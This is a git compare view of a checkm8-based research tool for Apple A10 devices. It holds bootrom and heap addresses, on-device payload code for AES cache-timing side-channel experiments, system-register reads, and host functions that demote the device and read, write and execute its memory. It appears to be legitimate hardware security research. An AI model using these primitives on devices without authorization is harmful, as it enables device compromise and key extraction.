Compare commits

...

64 Commits

Author SHA1 Message Date
4553174961 Restructured payloads into folders 2020-03-12 12:58:50 -04:00
832009c83c add some addresses for tasking 2020-03-12 12:58:19 -04:00
53436a5719 fix a copy/paste bug 2020-03-11 13:20:40 -04:00
621debcea3 Improve heap fixing (works now to get iBoot!) 2020-03-10 20:31:31 -04:00
d77df9b994 Reorder AES data 2020-03-10 20:31:03 -04:00
e844e2df34 Add a tool to verify that pairwise data maps to bernstein 2020-03-07 18:44:13 -05:00
4b361cccea correlation bugfixes 2020-03-05 10:28:05 -05:00
4de34e213e finish batch script 2020-03-03 16:13:04 -05:00
c058278f6f Add tool to analyze data 2020-03-03 16:04:39 -05:00
0a00de38a5 whoops 2020-02-28 16:52:13 -05:00
77641d45be fix file modes 2020-02-28 16:49:17 -05:00
55c1f08046 clean up 2020-02-28 16:30:01 -05:00
662c228b7e add a stripping tool and a random key experiment 2020-02-28 16:28:13 -05:00
0320e5cea7 fix key 2020-02-27 18:42:26 -05:00
938cbe044b fix 2gb file limit 2020-02-27 18:34:27 -05:00
a9550de75a Cleaned up headers 2020-02-27 16:17:11 -05:00
aff4be3a65 Make crypto lib naming more consistent 2020-02-27 16:17:11 -05:00
8cca9a2930 Correctly link shared crypto_dev library 2020-02-27 16:17:11 -05:00
a5d1121675 lots of changes, some project restructuring and a new experiment 2020-02-27 16:17:11 -05:00
1bd577596b Greatly improve experiments 2020-02-27 10:23:21 -05:00
bf6153062d change key for a new round of experiments 2020-02-25 20:18:09 -05:00
d0af1d9819 fix spacing 2020-02-25 09:40:14 -05:00
6462401fee wait for longer between queries 2020-02-25 09:13:58 -05:00
3334ccd17e more readable like this 2020-02-24 16:47:08 -05:00
3adc4c2e72 report actual count 2020-02-24 16:18:10 -05:00
df40cc6970 some bugfixes and changes for a longer term experiment 2020-02-24 16:17:01 -05:00
6ec02145b3 implemented bernstein-based aes timing experiment 2020-02-24 15:03:02 -05:00
14ffb6b7c3 updated payloads to use new bootrom types 2020-02-24 15:02:41 -05:00
a66ff906bd added to the bootrom libraries 2020-02-24 15:02:05 -05:00
db97653fc2 modify AES experiment to replicate bernstein 2020-02-23 20:25:51 -05:00
94fe326afb add function to get ticks instead of time 2020-02-23 20:25:20 -05:00
a5995cd4aa add some experiments with the cache 2020-02-23 20:24:51 -05:00
eb225122e5 explicitly check if these files open 2020-02-19 17:14:01 -05:00
29b4c63ffd fixed some unknown values which are actually known 2020-02-19 16:48:01 -05:00
d8a22d5e34 updates for testing 2020-02-19 14:29:45 -05:00
ghaas
60dd861370 Merge pull request #1 from ghaas/ardflag
Ardflag
2020-02-17 15:48:34 -05:00
d04b884487 Copy over some adjustments from other branch ... overwrite 2020-02-17 15:37:57 -05:00
34703b958e Undo arduino incorporation (dumb) 2020-02-12 14:40:36 -05:00
ab93d72633 Finally incorporated arduino code into main program (somewhat) 2020-02-11 21:27:14 -05:00
059461ccbd fixed an async payload bug and implemented an async floppysleep (works!) 2020-02-11 20:52:23 -05:00
3e64bd8bab added a function to fix the heap 2020-02-11 20:51:50 -05:00
a6ddec511a improved generic payload entry point 2020-02-11 20:51:04 -05:00
33f3ab9a0d fix segfault 2020-02-11 15:41:31 -05:00
823c914e84 better data housekeeping since we're using the on-device heap now... don't want to leave a mess 2020-02-11 15:34:47 -05:00
8b25a00bd4 synchronous payloads seem to work well 2020-02-11 15:10:35 -05:00
d407c17c0f implement basics of async execution (still need to test) 2020-02-11 14:38:53 -05:00
637fd548f5 Added a generic payload entry point to support async execution 2020-02-11 14:38:21 -05:00
80fd4f6b4c Some restructuring for libbootrom 2020-02-11 14:37:32 -05:00
bd4c9b8196 heavily restructured libpayload, more integrated with c8_remote now 2020-02-11 09:56:37 -05:00
983ad0ad29 more device pointers 2020-02-10 19:42:25 -05:00
5143528433 add explicit type for device pointers 2020-02-10 19:39:35 -05:00
0e094be537 some changes, preparing for async 2020-02-10 19:02:30 -05:00
Gregor Haas
200865c8a6 Added demotion module 2020-02-10 14:07:53 -05:00
Gregor Haas
1423f51aef Added test pongo module 2020-02-10 13:55:42 -05:00
5c8579c913 some fixes 2020-02-09 12:53:25 -05:00
cd3eb5edf0 Add dynamic allocation 2020-02-09 12:29:55 -05:00
79d3b72d15 Added demotion capability 2020-02-09 11:12:04 -05:00
e341d51bf9 payload changes 2020-02-09 11:11:42 -05:00
83ca059295 Measure time more accurately 2020-01-21 14:06:58 -05:00
c6fcb4aa66 Adjustments to finalize for experiment 2020-01-21 10:35:15 -05:00
54e64d982e Actually explicitly check... don't want to sleep for a whole experiment 2020-01-21 10:28:32 -05:00
420e60cf7f Fix eternal sleep in floppysleep 2020-01-21 10:27:50 -05:00
b1bf2daa2f Add some more interesting payloads 2020-01-21 10:22:17 -05:00
92fc040298 Add support for assembly in payloads 2020-01-21 10:21:19 -05:00
64 changed files with 3258 additions and 730 deletions

3
.gitignore vendored
View File

@@ -1,9 +1,10 @@
# configuration files
.idea/*
data/
# build directories
cmake-build-debug/
/c8_arduino/cmake-build-debug/
# generated files
/c8_remote/include/libpayload.h
/c8_remote/include/tool/libpayload.h

View File

@@ -1,9 +1,11 @@
cmake_minimum_required(VERSION 3.10)
project(checkm8_tool)
enable_language(C)
enable_language(C ASM)
include_directories(include)
#add_subdirectory(c8_arduino)
# set up checkm8_remote
add_subdirectory(c8_remote)
add_subdirectory(c8_libpayload)
# targets for external tools
add_subdirectory(tools)

View File

@@ -1,24 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_AES_H
#define CHECKM8_TOOL_BRFUNC_AES_H
#include "brfunc_common.h"
int aes_hw_crypto_cmd(unsigned long long cmd,
unsigned char *src, unsigned char *dst,
int len, unsigned long long opts,
unsigned char *key, unsigned char *iv)
{
return ((BOOTROM_FUNC) ADDR_AES_HW_CRYPTO_CMD)(cmd, src, dst, len, opts, key, iv);
}
#define CREATE_KEY_COMMAND ((BOOTROM_FUNC) ADDR_CREATE_KEY_COMMAND)
#define PUSH_COMMAND_KEY ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_KEY)
#define PUSH_COMMAND_IV ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_IV)
#define PUSH_COMMAND_DATA ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_DATA)
#define PUSH_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_PUSH_COMMAND_FLAG)
#define WAIT_FOR_COMMAND_FLAG ((BOOTROM_FUNC) ADDR_WAIT_FOR_COMMAND)
#define rAES_INT_STATUS (long *) ADDR_AES_CONTROL
#define rAES_CONTROL (long *) ADDR_AES_STATUS
#endif //CHECKM8_TOOL_BRFUNC_AES_H

View File

@@ -1,36 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_COMMON_H
#define CHECKM8_TOOL_BRFUNC_COMMON_H
#include "checkm8_config.h"
typedef int (*BOOTROM_FUNC)();
#if CHECKM8_PLATFORM == 8010
/* AES */
#define ADDR_AES_HW_CRYPTO_CMD 0x100000f0c
#define ADDR_CREATE_KEY_COMMAND 0x100000e90
#define ADDR_PUSH_COMMAND_KEY 0x100000c64
#define ADDR_PUSH_COMMAND_IV 0x100000d18
#define ADDR_PUSH_COMMAND_DATA 0x100000d98
#define ADDR_PUSH_COMMAND_FLAG 0x100000e20
#define ADDR_WAIT_FOR_COMMAND 0x100000ec4
#define ADDR_AES_CONTROL 0x20A108008
#define ADDR_AES_STATUS 0x20A108018
/* SEP */
#define ADDR_DPA_SEEDED 0x100001140
#define ADDR_SEND_DPA_MESSAGE 0x100002338
/* Timing */
#define ADDR_CLOCK_GATE 0x100009d4c
#define ADDR_SYSTEM_TIME 0x10000B0E0
#define ADDR_TIME_HAS_ELAPSED 0x10000B04F
#define ADDR_TASK_SLEEP 0x10000ADF0
#else
#error "Unsupported checkm8 platform"
#endif
#endif //CHECKM8_TOOL_BRFUNC_COMMON_H

View File

@@ -1,9 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_SEP_H
#define CHECKM8_TOOL_BRFUNC_SEP_H
#include "brfunc_common.h"
#define DPA_SEEDED ((BOOTROM_FUNC) ADDR_DPA_SEEDED)
#define SEP_CREATE_SEND_DPA_MESSAGE ((BOOTROM_FUNC) ADDR_SEND_DPA_MESSAGE)
#endif //CHECKM8_TOOL_BRFUNC_SEP_H

View File

@@ -1,10 +0,0 @@
#ifndef CHECKM8_TOOL_BRFUNC_TIMING_H
#define CHECKM8_TOOL_BRFUNC_TIMING_H
#include "brfunc_common.h"
#define CLOCK_GATE ((BOOTROM_FUNC) ADDR_CLOCK_GATE)
#define SYSTEM_TIME ((BOOTROM_FUNC) ADDR_SYSTEM_TIME)
#define TIME_HAS_ELAPSED ((BOOTROM_FUNC) ADDR_TIME_HAS_ELAPSED)
#endif //CHECKM8_TOOL_BRFUNC_TIMING_H

View File

@@ -1,7 +0,0 @@
#ifndef CHECKM8_TOOL_UTIL_H
#define CHECKM8_TOOL_UTIL_H
#define PAYLOAD_SECTION __attribute__ ((section (".payload_text")))
#define TEXT_SECTION __attribute__((section (".text")))
#endif //CHECKM8_TOOL_UTIL_H

View File

@@ -1,59 +0,0 @@
#include "brfunc_aes.h"
#include "brfunc_timing.h"
#include "brfunc_sep.h"
#include "util.h"
PAYLOAD_SECTION
int aes_hw_crypto_command(unsigned int cmd,
void *src,
void *dst,
int len,
unsigned int opts,
void *key,
void *iv)
{
int seeded;
long cgvar;
long start = 0, timeout = 0;
__asm__("orr %0, xzr, #0x3c" : "=r" (cgvar));
CLOCK_GATE(cgvar, 0);
// seeded = DPA_SEEDED();
// if(!(seeded & 1))
// {
// SEP_CREATE_SEND_DPA_MESSAGE();
// start = SYSTEM_TIME();
//
// while(!(seeded & 1) && !(timeout & 1))
// {
// seeded = DPA_SEEDED();
// timeout = TIME_HAS_ELAPSED(start, 1000);
// }
// }
//
// if(timeout) return -1;
unsigned int key_command = CREATE_KEY_COMMAND(0, 0, 0, 0, 1, 0, 0, 0);
*rAES_INT_STATUS = 0x20;
*rAES_CONTROL = 1;
PUSH_COMMAND_KEY(key_command, key);
PUSH_COMMAND_IV(0, 0, 0, iv);
PUSH_COMMAND_DATA(0, 0, src, dst, len);
PUSH_COMMAND_FLAG(0, 1, 1);
WAIT_FOR_COMMAND_FLAG();
*rAES_CONTROL = 2;
CLOCK_GATE(cgvar, 0);
return 0;
}
TEXT_SECTION
int _start(void *src,
void *dst,
void *key)
{
return aes_hw_crypto_command(0, src, dst, 128, 0, key, 0);
}

View File

@@ -1,25 +0,0 @@
#include "util.h"
#include "brfunc_aes.h"
#include "brfunc_timing.h"
TEXT_SECTION
int _start(void *src, void *dst, void *key, int rep)
{
int i, j;
unsigned char src_data[16];
for(j = 0; j < 16; j++)
{
src_data[j] = ((unsigned char *) src)[j];
}
// task_sleep(100);
for(i = 0; i < rep; i++)
{
if(i % 2 == 0) aes_hw_crypto_cmd(16, src_data, dst, 16, 0, key, 0);
else aes_hw_crypto_cmd(16, dst, src_data, 16, 0, key, 0);
// task_sleep(15);
}
return 0;
}

View File

@@ -1,182 +0,0 @@
#include "util.h"
#include "brfunc_timing.h"
PAYLOAD_SECTION
void task_sleep(unsigned int usec)
{
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
}
PAYLOAD_SECTION
void sub_bytes(unsigned char block[16], unsigned char sbox[16][16])
{
int i;
unsigned char val;
for(i = 0; i < 16; i++)
{
val = block[i];
block[i] = sbox[val >> 4u][val & 0xfu];
}
}
PAYLOAD_SECTION
void shift_rows(unsigned char block[16])
{
unsigned char temp1, temp2;
temp1 = block[0x1];
block[0x1] = block[0x5];
block[0x5] = block[0x9];
block[0x9] = block[0xd];
block[0xd] = temp1;
temp1 = block[0x2];
temp2 = block[0xe];
block[0x2] = block[0xa];
block[0xe] = block[0x6];
block[0xa] = temp1;
block[0x6] = temp2;
temp1 = block[0x3];
block[0x3] = block[0xf];
block[0xf] = block[0xb];
block[0xb] = block[0x7];
block[0x7] = temp1;
}
PAYLOAD_SECTION
void mix_cols(unsigned char block[16],
unsigned char mul2_lookup[256], unsigned char mul3_lookup[256])
{
unsigned char r0, r1, r2, r3;
int i;
for(i = 0; i < 4; i++)
{
r0 = block[4 * i];
r1 = block[4 * i + 1];
r2 = block[4 * i + 2];
r3 = block[4 * i + 3];
// no reason for the "+ 0" here but it makes the code look more lined up :)
block[4 * i + 0] = mul2_lookup[r0] ^ mul3_lookup[r1] ^ r2 ^ r3;
block[4 * i + 1] = r0 ^ mul2_lookup[r1] ^ mul3_lookup[r2] ^ r3;
block[4 * i + 2] = r0 ^ r1 ^ mul2_lookup[r2] ^ mul3_lookup[r3];
block[4 * i + 3] = mul3_lookup[r0] ^ r1 ^ r2 ^ mul2_lookup[r3];
}
}
PAYLOAD_SECTION
void add_key(unsigned char block[16], unsigned char key[16])
{
int i;
for(i = 0; i < 16; i++)
{
block[i] = block[i] ^ key[i];
}
}
PAYLOAD_SECTION
void expand_key(unsigned char key[16], unsigned char key_sched[176], int n,
unsigned char sbox[16][16], unsigned char rc_lookup[11])
{
int i, j, prev_key_base, key_base = 0;
unsigned char val;
for(i = 0; i < 16; i++)
{
key_sched[i] = key[i];
}
for(i = 1; i < n; i++)
{
prev_key_base = key_base;
key_base = 16 * i;
for(j = 0; j < 3; j++)
{
val = key_sched[prev_key_base + 13 + j];
key_sched[key_base + j] = sbox[val >> 4u][val & 0xfu];
}
val = key_sched[prev_key_base + 12];
key_sched[key_base + 3] = sbox[val >> 4u][val & 0xfu];
key_sched[key_base] ^= rc_lookup[i - 1];
for(j = 0; j < 4; j++)
{
key_sched[key_base + j] = key_sched[key_base + j] ^ key_sched[prev_key_base + j];
}
for(j = 4; j < 16; j++)
{
key_sched[key_base + j] = key_sched[key_base + j - 4] ^ key_sched[prev_key_base + j];
}
}
}
PAYLOAD_SECTION
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len, unsigned char key[16],
unsigned char sbox[16][16], unsigned char rc_lookup[11],
unsigned char mul2[256], unsigned char mul3[256])
{
unsigned char key_sched[176];
expand_key(key, key_sched, 11, sbox, rc_lookup);
unsigned int num_blocks = msg_len / 16;
unsigned char *block;
unsigned int i, j;
for(i = 0; i < num_blocks; i++)
{
block = &msg[16 * i];
add_key(block, key_sched);
for(j = 0; j < 9; j++)
{
sub_bytes(block, sbox);
shift_rows(block);
mix_cols(block, mul2, mul3);
add_key(block, &key_sched[16 * (j + 1)]);
task_sleep(20);
}
sub_bytes(block, sbox);
shift_rows(block);
add_key(block, &key_sched[16 * (j + 1)]);
}
}
TEXT_SECTION
unsigned int _start(unsigned char *msg, unsigned int msg_len, unsigned char *key,
unsigned char sbox[16][16], unsigned char rc_lookup[11],
unsigned char mul2[256], unsigned char mul3[256])
{
unsigned long long start, end;
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
aes128_encrypt_ecb(msg, msg_len, key, sbox, rc_lookup, mul2, mul3);
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
// for(i = 0; i < 256; i++)
// {
// __asm__ volatile ("dc civac, %0" : : "r" (&sbox[i % 16][i / 16]) : "memory");
// __asm__ volatile ("dc civac, %0" : : "r" (&mul2[i]) : "memory");
// __asm__ volatile ("dc civac, %0" : : "r" (&mul3[i]) : "memory");
// }
//
// for(i = 0; i < 16; i++)
// {
// __asm__ volatile ("dc civac, %0" : : "r" (&msg[i]) : "memory");
// __asm__ volatile ("dc civac, %0" : : "r" (&key[i]) : "memory");
// }
//
// for(i = 0; i < 12; i++)
// {
// __asm__ volatile ("dc civac, %0" : : "r" (&rc_lookup[i]) : "memory");
// }
//
// __asm__ volatile ("dsb sy");
return end - start;
}

View File

@@ -1,10 +0,0 @@
#include "util.h"
TEXT_SECTION
void _start()
{
__asm__("dmb sy");
__asm__("ic iallu");
__asm__("dsb sy");
__asm__("isb");
}

View File

@@ -1,17 +0,0 @@
#include "util.h"
struct sysregs
{
long pt_base;
long evt_base;
};
TEXT_SECTION
long long _start()
{
struct sysregs res;
__asm__("mrs %0, ttbr0_el1" : "=r" (res.pt_base));
__asm__("mrs %0, vbar_el1" : "=r" (res.evt_base));
return res.pt_base;
}

View File

@@ -1,20 +0,0 @@
#include "util.h"
#include "brfunc_common.h"
PAYLOAD_SECTION
void task_sleep(unsigned int usec)
{
((BOOTROM_FUNC) ADDR_TASK_SLEEP)(usec);
}
TEXT_SECTION
unsigned long long _start(unsigned int usec)
{
unsigned long long start, end;
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (start));
task_sleep(usec);
__asm__ volatile ("mrs %0, cntpct_el0" : "=r" (end));
return end - start;
}

View File

@@ -5,6 +5,8 @@ set(CMAKE_C_STANDARD 99)
set(CMAKE_C_FLAGS "-g -Wall")
include_directories(include)
add_subdirectory(lib)
add_executable(checkm8_remote main.c src/usb_helpers.c src/exploit.c src/payload.c src/command.c)
target_link_libraries(checkm8_remote usb-1.0 pthread udev payload)
target_link_libraries(checkm8_remote usb-1.0 pthread udev m)
target_link_libraries(checkm8_remote payload experiments host_crypto)

View File

@@ -19,6 +19,7 @@
#define DEV_IDVENDOR 0x05AC
#define DEV_IDPRODUCT 0x1227
#define DFU_IMAGE_BASE 0x1800B0000ull
#define DEMOTE_REG 0x2102BC000ull
#else
#error "Unspported checkm8 platform"
@@ -35,7 +36,8 @@ struct pwned_device
unsigned int idVendor;
unsigned int idProduct;
struct payload *installed;
struct payload *inst_pl;
struct data *inst_data;
#ifdef WITH_ARDUINO
int ard_fd;
@@ -44,7 +46,25 @@ struct pwned_device
#endif
};
struct dev_cmd_resp
{
int ret;
unsigned long long magic;
unsigned long long retval;
unsigned char *data;
int len;
};
struct pwned_device *exploit_device();
void free_device(struct pwned_device *dev);
int demote_device(struct pwned_device *dev);
int fix_heap(struct pwned_device *dev);
int open_device_session(struct pwned_device *dev);
int close_device_session(struct pwned_device *dev);
int is_device_session_open(struct pwned_device *dev);
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
#endif //CHECKM8_TOOL_CHECKM8_H

View File

@@ -1,26 +0,0 @@
#ifndef CHECKM8_TOOL_COMMAND_H
#define CHECKM8_TOOL_COMMAND_H
#include "checkm8.h"
#define CMD_USB_READ_LIMIT 0xFF0
struct dev_cmd_resp
{
int ret;
unsigned long long magic;
unsigned long long retval;
unsigned char *data;
int len;
};
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, long long addr, unsigned char c, int len);
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, long long dest, long long src, int len);
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, long long addr, int len);
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, long long addr, unsigned char *data, int len);
void free_dev_cmd_resp(struct dev_cmd_resp *resp);
#endif //CHECKM8_TOOL_COMMAND_H

View File

@@ -0,0 +1,63 @@
#ifndef CHECKM8_TOOL_ADDR_H
#define CHECKM8_TOOL_ADDR_H
#include "checkm8_config.h"
#include "types.h"
#if CHECKM8_PLATFORM == 8010
/* Crypto */
#define ADDR_HARDWARE_AES 0x100000f0c
#define ADDR_GET_RANDOM 0x1000113e0
#define ADDR_GET_ENTROPY 0x1000013d4
#define ADDR_SHA1 0x10000cc90
/* Timing */
#define ADDR_CLOCK_GATE 0x100009d4c
#define ADDR_GET_TIME 0x10000b0e0
#define ADDR_GET_TICKS 0x10000041c
#define ADDR_TIMER_REGISTER_INT 0x10000b874
#define ADDR_WFI 0x1000004fc
/* Tasking */
#define ADDR_TASK_NEW 0x10000a9ac
#define ADDR_TASK_RUN 0x10000ac18
#define ADDR_TASK_PAUSE 0x10000adf0
#define ADDR_TASK_RESCHED 0x10000aaa8
#define ADDR_TASK_FREE 0x10000aa20
#define ADDR_EVENT_NEW 0x10000aed4
#define ADDR_EVENT_NOTIFY 0x10000aee8
#define ADDR_EVENT_WAIT 0x10000af3c
#define ADDR_EVENT_TRY 0x10000af7c
#define ADDR_BOOTSTRAP_TASK 0x180080200
/* Heap */
#define ADDR_CALC_CHKSUM 0x10000ee20
#define ADDR_CHECK_BLOCK_CKSUM 0x10000f138
#define ADDR_CHECK_ALL_CHKSUMS 0x10000f8b4
#define ADDR_DEV_MALLOC 0x10000efe0
#define ADDR_DEV_MEMALIGN 0x10000f380
#define ADDR_DEV_FREE 0x10000f1b0
#define ADDR_HEAP_COOKIE 0x180080640
#define ADDR_HEAP_BASE 0x1801b4000
#define ADDR_HEAP_END 0x1801fffc0
/* Misc */
#define ADDR_RANDOM_RET 0x10000b924
#define ADDR_SYNC_ENTRY 0x1800afc84
#define ADDR_GETDFU_EXIT 0x1000006c8
#define ADDR_DFU_RETVAL (int *) 0x180088ac8
#define ADDR_DFU_STATUS (unsigned char *) 0x180088ac0
#define ADDR_DFU_EVENT (struct event *) 0x180088af0
#define ADDR_USB_EVENT (struct event *) 0x1800838c8
#else
#error "Unsupported checkm8 platform"
#endif
#endif //CHECKM8_TOOL_ADDR_H

View File

@@ -0,0 +1,62 @@
#ifndef CHECKM8_TOOL_TYPES_H
#define CHECKM8_TOOL_TYPES_H
struct event
{
unsigned int dat0;
unsigned int dat1;
unsigned long long dat2;
unsigned long long dat3;
} __attribute__ ((packed));
struct aes_constants
{
unsigned char sbox[16][16];
unsigned char mul2[256];
unsigned char mul3[256];
unsigned char rc_lookup[11];
} __attribute__ ((packed));
struct heap_header
{
unsigned long long chksum;
unsigned long long pad[3];
unsigned long long curr_size;
unsigned long long curr_free : 1;
unsigned long long prev_free : 1;
unsigned long long prev_size : (sizeof(unsigned long long) * 8 - 2);
unsigned long long pad_start;
unsigned long long pad_end;
} __attribute__ ((packed));
struct bern_data
{
double t[16][256];
double tsq[16][256];
double tnum[16][256];
unsigned long long count;
double ttotal;
struct event ev_data;
struct event ev_done;
} __attribute__ ((packed));
#define N_CORR_ENTRIES 1024*256
struct corr_data
{
struct event ev_cont;
int num_cutoff;
unsigned char msg[16];
unsigned char data[N_CORR_ENTRIES];
};
#define DEV_PTR_NULL -1ull
typedef unsigned long long DEV_PTR_T;
#endif //CHECKM8_TOOL_TYPES_H

View File

@@ -1,30 +0,0 @@
#ifndef CHECKM8_TOOL_PAYLOAD_H
#define CHECKM8_TOOL_PAYLOAD_H
#include "checkm8.h"
typedef enum
{
PAYLOAD_AES,
PAYLOAD_AES_BUSY,
PAYLOAD_AES_SW,
PAYLOAD_SYNC,
PAYLOAD_SYSREG,
PAYLOAD_TASK_SLEEP_TEST
} PAYLOAD_T;
typedef enum
{
SRAM,
DRAM
} LOCATION_T;
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, long long addr, int len);
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len);
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...);
#endif //CHECKM8_TOOL_PAYLOAD_H

View File

@@ -0,0 +1,15 @@
#ifndef CHECKM8_TOOL_COMMAND_H
#define CHECKM8_TOOL_COMMAND_H
#include "checkm8.h"
#define CMD_USB_READ_LIMIT 0xFF0
struct dev_cmd_resp *dev_memset(struct pwned_device *dev, unsigned long long addr, unsigned char c, int len);
struct dev_cmd_resp *dev_memcpy(struct pwned_device *dev, unsigned long long dest, unsigned long long src, int len);
struct dev_cmd_resp *dev_exec(struct pwned_device *dev, int response_len, int nargs, unsigned long long *args);
struct dev_cmd_resp *dev_read_memory(struct pwned_device *dev, unsigned long long addr, int len);
struct dev_cmd_resp *dev_write_memory(struct pwned_device *dev, unsigned long long addr, unsigned char *data, int len);
#endif //CHECKM8_TOOL_COMMAND_H

View File

@@ -0,0 +1,43 @@
#ifndef CHECKM8_TOOL_PAYLOAD_H
#define CHECKM8_TOOL_PAYLOAD_H
#include "checkm8.h"
#include "dev/types.h"
typedef enum
{
PAYLOAD_AES_BUSY,
PAYLOAD_AES_SW_BERN,
PAYLOAD_AES_SW_CORR,
PAYLOAD_CACHELIB,
PAYLOAD_EXIT_USB_TASK,
PAYLOAD_FLOPPYSLEEP,
PAYLOAD_SYNC,
} PAYLOAD_T;
typedef enum
{
SRAM,
DRAM
} LOCATION_T;
int install_payload(struct pwned_device *dev, PAYLOAD_T p, LOCATION_T loc);
int uninstall_payload(struct pwned_device *dev, PAYLOAD_T p);
int uninstall_all_payloads(struct pwned_device *dev);
DEV_PTR_T get_payload_address(struct pwned_device *dev, PAYLOAD_T p);
struct dev_cmd_resp *execute_payload(struct pwned_device *dev, PAYLOAD_T p, int response_len, int nargs, ...);
DEV_PTR_T setup_payload_async(struct pwned_device *dev, PAYLOAD_T p, int bufsize, int nargs, ...);
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p);
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr);
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len);
int uninstall_data(struct pwned_device *dev, DEV_PTR_T ptr);
int uninstall_all_data(struct pwned_device *dev);
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len);
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len);
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...);
#endif //CHECKM8_TOOL_PAYLOAD_H

View File

@@ -15,10 +15,6 @@ struct libusb_device_bundle
};
#endif
int open_device_session(struct pwned_device *dev);
int close_device_session(struct pwned_device *dev);
int is_device_session_open(struct pwned_device *dev);
int partial_ctrl_transfer(struct pwned_device *dev,
unsigned char bmRequestType, unsigned char bRequest,
unsigned short wValue, unsigned short wIndex,

View File

@@ -0,0 +1,21 @@
#ifndef CHECKM8_TOOL_EXPERIMENTS_H
#define CHECKM8_TOOL_EXPERIMENTS_H
#include "tool/payload.h"
#include "dev/types.h"
/* AES Software */
DEV_PTR_T setup_bern_exp(struct pwned_device *dev);
struct bern_data *get_bern_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
DEV_PTR_T setup_corr_exp(struct pwned_device *dev, unsigned char *init_key);
struct corr_data *get_corr_exp_data(struct pwned_device *dev, DEV_PTR_T async_buf);
/* System */
void usb_task_exit(struct pwned_device *dev);
/* Power */
void floppysleep(struct pwned_device *dev);
void floppysleep_async(struct pwned_device *dev);
#endif //CHECKM8_TOOL_EXPERIMENTS_H

View File

@@ -0,0 +1,14 @@
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
#define CHECKM8_TOOL_HOST_CRYPTO_H
#include "dev/types.h"
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
struct aes_constants *get_constants();
#endif //CHECKM8_TOOL_HOST_CRYPTO_H

View File

@@ -1,33 +1,39 @@
project(checkm8_libpayload)
set(PL_NAMES
aes
aes_busy
aes_sw
sync
sysreg
task_sleep_test)
crypto:aes_busy
crypto:aes_sw_bern
crypto:aes_sw_corr
system:cachelib
system:exit_usb_task
system:init_sys
system:sync
power:floppysleep
)
foreach(NAME ${PL_NAMES})
list(APPEND PL_TARGETS "payload_${NAME}")
list(APPEND PL_SRC_BIN "${CMAKE_CURRENT_LIST_DIR}/pl/src/${NAME}.c")
string(REGEX REPLACE "^[^:]*\\:(.*)$" "\\1" NAME_ONLY ${NAME})
list(APPEND PL_TARGETS "payload_${NAME_ONLY}")
endforeach(NAME)
message("${PL_TARGETS}")
foreach(TARGET ${PL_TARGETS})
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib/${TARGET}.c")
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/pl/bin/${TARGET}.bin")
list(APPEND PL_SRC_LIB "${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles/${TARGET}.c")
list(APPEND PL_BIN "${CMAKE_CURRENT_BINARY_DIR}/payload/bin/${TARGET}.bin")
endforeach(TARGET)
add_subdirectory(pl)
set(CMAKE_C_FLAGS "-g -Wall")
add_subdirectory(${CMAKE_CURRENT_LIST_DIR}/payload)
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib)
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
add_custom_target(payload_sources
BYPRODUCTS ${PL_SRC_LIB}
DEPENDS ${PL_TARGETS}
COMMENT "Refreshing payload library"
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/librarize.py
${CMAKE_CURRENT_BINARY_DIR}/pl/bin
${CMAKE_CURRENT_BINARY_DIR}/lib)
${CMAKE_CURRENT_BINARY_DIR}/payload/bin
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles)
add_library(payload ${PL_SRC_LIB})
add_dependencies(payload payload_sources)
@@ -35,5 +41,10 @@ add_dependencies(payload payload_sources)
add_custom_command(TARGET payload POST_BUILD
BYPRODUCTS ${CMAKE_SOURCE_DIR}/c8_remote/include/libpayload.h
COMMAND python3 ${CMAKE_CURRENT_LIST_DIR}/scripts/headerize.py
${CMAKE_CURRENT_BINARY_DIR}/lib
${CMAKE_SOURCE_DIR}/c8_remote/include)
${CMAKE_CURRENT_BINARY_DIR}/lib_cfiles
${CMAKE_SOURCE_DIR}/c8_remote/include/tool)
add_library(experiments experiments/crypto.c
experiments/system.c
experiments/power.c)
